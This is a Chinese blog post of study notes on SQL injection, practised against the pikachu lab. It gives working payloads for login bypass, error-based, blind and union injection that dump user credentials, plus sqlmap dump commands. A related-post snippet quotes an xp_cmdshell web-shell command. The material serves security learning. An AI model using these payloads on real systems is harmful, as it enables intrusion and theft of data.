web安全-3-SQL注入漏洞

已于 2024-04-08 08:41:17 修改
阅读量947 收藏 20
点赞数 29
分类专栏： 马士兵-网络安全学习笔记-hvv专栏 文章标签： web安全 sql 安全
于 2024-04-05 16:10:13 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_57410330/article/details/137162869
版权
本文介绍了如何在pikachu靶场环境中搭建，包括下载、安装、配置过程，随后详细讲解了SQL注入原理、判断方法，以及常见注入类型（如报错注入、盲注）及其利用方式。还涉及了如何通过WAF绕过和使用sqlmap工具进行实战检测和绕过技巧。
摘要由CSDN通过智能技术生成

笔记是根据马士兵教育2024HVV专题编写，作为学习记录来分享，如有错误的地方请指正，谢谢

免责声明
本文仅限于学习讨论与技术知识的分享，不得违反当地国家的法律法规。对于传播、利用文章中提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，本文作者不为此承担任何责任，一旦造成后果请自行承担！

1、pikachu靶场环境搭建

1.1、pikachu靶场下载地址

https://github.com/zhuifengshaonianhanlu/pikachu

1.2、安装phpstudy

https://www.xp.cn/

1.3、 将pikachu解压于phpstudy下的www目录中

在这里插入图片描述

1.4、修改pikachu-master----》inc—》config.inc.php文件

在这里插入图片描述
这里修改mysql的端口是因为我默认的3306端口被占用，在phpstudy中修改成3309，所以这边也要改成一样的，主要密码要修改一下。
在这里插入图片描述

1.5、启动phpstudy，访问网站

**加粗样式**
在这里插入图片描述

2、sql注入原理

在数据交互中，前端的数据传入到后台进行处理时，没有做严格的判断，过滤。导致传入的“数据”拼接到SQL语句中后，被当作SQL语句的一部分执行。从而导致数据库受损（被脱裤、数据被删除、甚至整个服务器权限沦陷）。

3、如何判断存在注入

3.1、漏洞可能存在的地方

  1. 登录框
    万能密码
    原验证登陆语句:
SELECT * FROM admin WHERE Username= '".$username."' AND Password='".md5($password)."'

输入 1′ or 1=1 or ‘1’=’1万能密码语句变为:

SELECT * FROM admin WHERE Username='1' OR 1=1 OR '1'='1' AND Password='EDFKGMZDFSDFDSFRRQWERRFGGG'
  1. 查询
  2. 订单处理等地方
  3. 获取http头功能点

3.2、注入点查看

  1. 报错注入
  2. 盲注

4、常见注入类型及利用方式

4.1、报错注入

4.1.1、报错函数

updatexml (XML_document, XPath_string, new_value);
第一个参数：XML_document是String格式，为XML文档对象的名称
第二个参数：XPath_string

举例
报错payload:

1'+union+select+updatexml(1,concat(0x7e,(select+database()),0x7e),1)--+

解析：这段代码用到updatexml函数，但是第二个参数concat(0x7e,(select+database())是一个连接字符串的函数并不符合xpath_string格式规则就会进行报错。0x7e是~这个符号，查询数据库。
（注： +代表空格，–+代表注释）
在这里插入图片描述
ExtractValue(xml_frag, xpath_expr)
xml_frag: XML 标记片段，xml语言的标签闭合内的值，
xpath_expr: XPath 表达式，匹配xml标签内的值并返回。
payload：

1'and+extractvalue(1,concat(0x7e,(select+database()),0x7e))--+

在这里插入图片描述

4.2、sql查询语句

除了查看数据库 还有会使用到的其他函数:

1、user()查当前的用户为：user() =>select user();

2、 Version()；当前 mysql 的版本

union select 1，2，version()

3、 Database();当前网站使用的数据库

union select 1，2，database()

4、 User();当前 MySQL 的用户

union select 1，2，user()

5、 system_user(); 系统用户名

6、session_user();连接数据库的用户名

7、current_user;当前用户名

8、load_file();读取本地文件

9、@@datadir：读取数据库路径

10、@@basedir：mysql安装路径

9、length(str) : 返回给定字符串的长度，如 length(“string”)=6

10、substr(string,start,length) : 对于给定字符串string，从start位开始截取，截取length长度 ,如 substr(“chinese”,3,2)=“in”

substr()、stbstring()、mid() 三个函数的用法、功能均一致

11、concat(username)：将查询到的username连在一起，默认用逗号分隔

concat(str1,’’,str2)：将字符串str1和str2的数据查询到一起，中间用连接

12、group_concat(username) ：将username数据查询在一起，用逗号连接

Columns 表存储该用户创建的所有数据库的库名、表名、字段名，要记住该表中记录数据库库名、表名、字段名为 table_schema、table_name、columns_name

4.3、盲注

盲注一般用到的一些函数：if()、ascii()、substr()、length()，exists()、concat()等
payload:

kobe'+and+ascii(substr(database(),1,1))=112--+

substr(database(),1,1)获取数据库的第一个字母
ascii(substr(database(),1,1))转换为ascii值112
ascii值112是p，如果上面这个条件成立，则会正常显示也就是说数据库第一位是p
在这里插入图片描述
如果用113则报错
在这里插入图片描述
查询数据库第二位ascii值105==i正确，正常显示

kobe'+and+ascii(substr(database(),2,1))=105--+

在这里插入图片描述

在这里插入图片描述

4.4、联合查询

4.4.1、 在用联合查询前需要先拆解字段

1、首先字符型，先测一下用什么闭合，用单引号或双引号测试，如图可以看出是用单引号闭合
在这里插入图片描述
2、拆解一下有几个字段可以使用

a'+order+by+5--+

这里出现报错，说明没有5个字段，那数据就可以往下降
在这里插入图片描述
这个靶机降到2显示，说明是2个字段
在这里插入图片描述
3、有这个显示后，我们就可以去联合查询，可以查询出他的库名和当前用户

a'+union+select+database(),user*();--+

在这里插入图片描述

4.4.2、联合查询语句

1、information_schema.schemata:

该数据表存储了mysql数据库中的所有数据库的库名
schema_name列 ：其包含了当前数据库管理系统中所有的数据库

2、information_schema.tables：

该数据表存储了mysql数据库中的所有数据表的表名
table_name列：此列记录当前数据库管理系统中所有表的合集
table_schema列：此列记录当前数据库管理系统中所有数据库的合集
payload：

a' union select table_schema,table_name from information_schema.tables where table_schema='pikachu'#

在这里插入图片描述

3、information_schema.columns:

该数据表存储了mysql数据库中的所有列的列名
payload：

a' union select table_name,column_name from information_schema.columns where table_name='users'#

在这里插入图片描述
4、获取详细数据

a' union select username,password from users#

在这里插入图片描述

5、SQL注入实战思路

5.1、waf绕过

1、等于号:
2、Substr,mid等
3、逗号
4、And/or

5.2、sqlmap的使用

扫描语法

1、-u 指定目标url

2、-m url_list.txt # 使用一个包含多个url的文件进行扫描。

3、-r request.txt # Post提交方式，使用HTTP请求文件，该文件可从BurpSuit中导出。 （BurpSuit抓包–>将请求复制到txt中即可）

4、-p “username,id” # 指定要扫描的参数

5、–proxy=“http://127.0.0.1:8087/” # 使用代理去扫描目标

6、–force-ssl # 使用HTTPS连接进行扫描

7、–delay=“3” # 每次http请求之间的延迟时间，默认无延迟

8、–timeout=“10” # 请求超时时间，浮点数，默认为30秒

9、–level

2：检测cookie中是否含有注入

3：检测user-agent、referer是否含有注入

5：检测host是否含有注入

10、–risk 默认1，最高4，等级高容易造成数据被篡改风险

11、–threads=7 #提高并发线程，默认为1，建议不要超过10，否则影响站点可用性

12、–dbms=“Mysql” # 指定数据库类型，还可以加上版本 Mysql

13、–os=“Windows” # 指定操作系统，还可以是Linux

查询语法

  1. –users # 查询所有的数据库账号

  2. –dbs # 查询所有数据库

  3. –schema # 查询源数据库（包含定义数据的数据）

  4. -a # 查询当前user、当前数据库、主机名、当前user是否是最大权限管理员、数据库账号等

  5. -D dvwa# 指定数据库

    命令：sqlmap -u http://172.23.188.13：8083/show.php?id=3 -D dvwa --tables

    -T 是查看某个数据表

    –columns 查看的表中的所有字段

    命令：sqlmap -u http://172.23.188.13：8083/show.php?id=3 -D dvwa -T users --columns

    –dump 查看所有字段的内容

  6. –current-user # 查询当前数据库用户

  7. –current-db # 查询当前数据库

  8. –hostname # 查看服务器的主机名

    1. –columns # 查看所有的字段

  10. –tables # 查看所有的表

5.3、sql实战思路

前期通过一些漏扫工具扫描，后期通过注入点去手工注入。
自己学习的时候可以，通过sqlmap去跑，然后通过burpsuite的看流量，去学习
在这里插入图片描述

车海滨
关注
专栏目录
BladeX企业级开发平台 dict-biz/list SQL 注入漏洞复现
0xSec
04-16 1587
BladeX企业级开发平台/api/blade-system/dict-biz/list 路径存在SQL注入漏洞，攻击者除了可以利用SQL注入漏洞获取数据库中的信息（例如，管理员后台密码、站点的用户个人信息）之外，甚至在高权限的情况可向服务器中写入木马，进一步获取服务器系统权限。
网络安全必学SQL注入
kali_Ma的博客
11-04 7441
如果使用参数化查询，则在SQL语句中使用占位符表示需在运行时确定的参数值。当找到某个变量关键词有 SQL 注入风险时，可以再根据调用链找到该存在注入风险的业务逻辑代码，查看参数来源是否安全、是否有配置SQL危险参数过滤的过滤器，最终确认是否存在SQL注入。修改SQL语句之后，程序停止报错，但是却引入了SQL语句拼接的问题，如果没有对用户输入的内容做过滤，势必会产生SQL注入漏洞。至此，整个功能流程结束，在我们跟进的过程中，代码中无任何过滤语句，获取参数值，调用update方法更新，更新成功后返回结果。
SQL手工注入总结
Fuzz
09-24 600
0x00、 前言 虽说目前互联网上已经有很多关于 sql 注入的神器了，但是在这个 WAF 横行的时代，手工注入往往在一些真实环境中会显得尤为重要。本文主要把以前学过的知识做个总结，不会有详细的知识解读，类似于查询手册的形式，便于以后的复习与查阅，文中内容可能会存在错误，望师傅们斧正！！ 0x01、 Mysql 手工注入 1.1 联合注入 - ?id=1' order by 4--+ - ?id=0' union select 1,2,3,database()--+ - ?id=0' union se
整理的一些有用的ASP注入相关的命令 BY pt007&solaris7
l0ng专栏
01-11 2874
整理的一些有用的ASP注入相关的命令 BY pt007&solaris7大家好 ,我们是pt007和solaris7，QQ：7491805/564935，欢迎高手前来交流：）。1、 用^转义字符来写ASP(一句话木马)文件的方法: http://192.168.1.5/display.asp?keyno=1881;exec master.dbo.xp_cmdshell echo ^execut
web安全——sql注入漏洞详解
weixin_61967363的博客
03-16 1472
sql注入漏洞知识讲解到检查流程总结
Web的基本漏洞--SQL注入漏洞
尽欢
05-31 3780
SQL注入介绍
Web漏洞原理与利用----SQL注入
weixin_63047494的博客
04-15 1725
本文仅仅简单介绍了SQL的原理概念以及SQL注入攻击的方法，还进行了SQL注入实验，简单加深了对SQL注入的理解。以上实验例子和结果仅供参考。
WEB安全-SQL注入
weixin_56319791的博客
09-16 1965
SQL注入漏洞
Web安全测试常见漏洞-SQL注入和命令注入
m0_57098592的博客
09-02 1708
Web安全测试常见漏洞-SQL注入和命令注入
【web安全】SQL注入漏洞1--寻找SQL注入
一个程序员
01-14 2592
这篇文章主要介绍了寻找SQL的思路。对于初学者，可能会出现这种尴尬的情况： 找到了一个疑似SQL注入的点，但是不知道如何继续渗透利用，尽可能的获取更多的价值信息甚至于获取到主机权限。如何利用sql注入进行渗透；如何进行sql 注入的绕过；如果使用sqlmap工具来进行渗透利用。
Secure-Systems-of-SQL-Injection-Attack:具有SQL注入漏洞的安全系统
05-01
具有SQL注入漏洞的安全系统 抽象的 Web应用程序带来了新型的计算机安全漏洞，例如SQL注入。 这是一类基于输入验证的漏洞。 SQL注入的典型用法是从数据库泄漏机密信息，绕过身份验证逻辑或向数据库中添加未经授权的...
第14天：WEB漏洞-SQL注入之类型及提交注入1
08-03
在网络安全领域，SQL注入是一种常见的Web漏洞，攻击者通过向应用程序的输入字段中插入恶意的SQL代码，以篡改或获取数据库中的敏感信息。本文将详细介绍SQL注入的类型及其提交方式，以及如何进行安全测试。 首先，...
端口隔离配置的实验
zhgjx_ywz的博客
09-28 719
LSW1-GigabitEthernet0/0/4]am isolate GigabitEthernet 0/0/5 // g0/0/4的报文不能发给g0/0/5，g0/0/5的报文可以发给g0/0/4。综上所述，端口隔离配置是一种有效的网络安全措施，可以在不增加VLAN资源消耗的情况下实现端口间的隔离和控制。在VLAN20中，PC4主机存在安全隐患，往其他主机发送大量的广播报文，通过配置接口间的单向隔离来实现其他主机对该主机报文的隔离。3、配置PC1、PC2、PC3、PC4、PC5。
【网络安全】Cookie与ID未强绑定导致账户接管
最新发布
等风来
10-02 174
DigiLocker 是一项在线服务，旨在为公民提供一个安全的数字平台，用于存储和访问重要的文档，如 Aadhaar 卡、PAN 卡和成绩单等。DigiLocker 通过多因素身份验证（MFA）来保护用户账户安全，通常包括 6 位数的安全 PIN 和一次性密码（OTP）验证。
信息安全工程师（24）网络安全体系建设原则与安全策略
m0_73399576的博客
09-28 1270
信息安全工程师——网络安全体系建设原则与安全策略篇
网络安全：保护您的数字世界
不迁怒，不贰过。小知识，大智慧。
09-29 1121
在当今数字化时代，网络安全已经成为每个人都应该关注的重要议题。随着互联网的普及和信息技术的快速发展，我们的个人信息、财务数据甚至国家安全都面临着来自网络的威胁。网络攻击日益猖獗，黑客利用漏洞和技术手段，威胁着我们的数字世界的安全。在这个信息爆炸的时代，数据的泄露和被篡改可能带来严重的后果，影响个人隐私、金融安全甚至国家稳定。因此，保护我们的数字世界免受网络攻击变得至关重要。本文将探讨网络安全的重要性，介绍网络安全的基本概念和最佳实践，帮助读者更好地了解如何保护自己在数字世界中的安全。让我们共同努力，建立一个
【web安全】——sql注入
wxh的博客
09-27 1385
在mysql5版本以后，为了方便管理，默认定义了information_schema数据库，用来存储数据库元数据信息。schemata(数据库名)、tables(表名tableschema)、columns(列名或字段名)。
从《GTA5》的反外挂斗争看网络安全的重要性
@云安全小杜
09-26 917
本文将探讨《GTA5》在对抗外挂过程中遇到的挑战，特别是当游戏开发者试图增强游戏安全性时所遭受的DDoS攻击，并从中提炼出对于网络安全的一些启示。然而，随着游戏人气的增长，一些不法分子开始利用技术手段制作并销售外挂程序，这些程序可以让使用者在游戏中获得不公平的优势，从而破坏了游戏环境。请注意，以上内容是基于假设的情景编写的技术分析文章，实际案例可能涉及更多的细节和技术层面的问题。《GTA5》与外挂之间的斗争提醒我们，在享受数字世界带来的便利的同时，也需要时刻警惕潜在的安全风险，并积极采取措施加以防范。
揭秘WEB安全：SQL注入漏洞全解析与防护策略
总结来说，SQL注入漏洞是Web开发中必须警惕和管理的重大风险，了解其原理、类型和防护手段是提升Web应用安全性的关键步骤。开发者需要遵循最佳实践，持续改进安全措施，以保护网站和用户数据免受此类攻击。
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值